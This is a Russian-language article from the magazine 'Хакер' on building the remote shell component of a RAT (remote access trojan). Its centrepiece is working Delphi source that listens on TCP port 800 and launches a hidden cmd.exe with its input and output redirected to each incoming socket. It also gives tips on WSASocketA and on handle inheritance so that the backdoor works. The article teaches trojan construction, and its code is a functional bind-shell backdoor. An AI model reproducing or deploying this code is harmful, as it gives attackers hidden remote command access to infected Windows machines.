Управление RAT Ms-Rem Хакер, номер #079, стр. 079-108-3 [шелл] Чтобы открыть на зараженной машине шелл, нужно запустить командный интерпретатор (cmd.exe) и перенаправить его ввод-вывод c консоли в Сеть. Осуществляется довольно просто. Ты, наверное, уже знаешь, что каждое консольное приложение в системе имеет три хэндла ввода-вывода: STDIN - стандартный ввод, STDOUT - стандартный вывод и STDERR - стандартный вывод сообщений об ошибках. По умолчанию эти хэндлы связаны с терминалом: ввод берется с клавиатуры, а вывод производится на экран, но можно и переназначать их (всего-то одна строка кода). К примеру, на файлы, пайпы, устройства или даже сокеты. Сразу становится понятно, что для открытия шелла трояну нужно всего-то создать сокет, открыть порт и при подключении к нему запускать cmd.exe с хэндлами, измененными на сокет, полученный в результате успешного соединения (возвращенное значение accept). Таким образом, всякий раз при коннекте к открытому RAT-порту будет грузиться копия интерпретатора с перенаправлением ввода-вывода в сеть. [шелл – это просто] begin // инициализация WinSocks2 WSAStartup($202, WSAData); // создаем сокет FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0); SockAddrIn.sin_family := AF_INET; // назначаем 800 TCP порт для открытия шелла SockAddrIn.sin_port := htons(800); bind(FSocket, SockAddrIn, 16); listen(FSocket, 0); // открываем порт while true do begin // ожидаем соединения sHandle := accept(FSocket, nil, 0); if sHandle <> INVALID_SOCKET then begin ZeroMemory(@St, SizeOf(TStartupInfo)); St.cb := SizeOf(TStartupInfo); St.wShowWindow := SW_HIDE; St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; St.hStdInput := sHandle; St.hStdOutput := sHandle; St.hStdError := sHandle; // запускаем cmd.exe с перенаправлением ввода-вывода CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr); CloseHandle(sHandle); CloseHandle(Pr.hProcess); CloseHandle(Pr.hThread); end; end; end. Код, не самый сложный в мире. Даже кажется, что и с первого раза его легко написать без ошибок, однако и тут всплывают два не самых очевидных момента. Во-первых, сокет нужно обязательно создавать с помощью функции WsaSocketA из набора WinSock2, так как сокеты, созданные с помощью socket из WinSock1, нельзя назначать в качестве стандартных хэндлов ввода-вывода других процессов. Правда, для WinSock2 в Delphi нет заголовочных файлов, поэтому функцию приходится объявлять самому. Это делается так: function WSASocketA(af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword): integer; stdcall; external 'ws2_32.dll'; Во-вторых, при запуске cmd.exe с помощью CreateProcess в передаваемой структуре TStartupInfo нужно установить не только хэндлы ввода-вывода, но и параметр dwFlags в значение STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW. Первая константа укажет на то, что при запуске процесса должны использоваться хэндлы, заданные в TStartupInfo, а вторая - что параметр wShowWindow не будет проигнорирован. Также bInheritHandles, передаваемый функции CreateProcess, следует сделать равным истине, чтобы хэндл открытого соединения был унаследован запускаемым процессом. |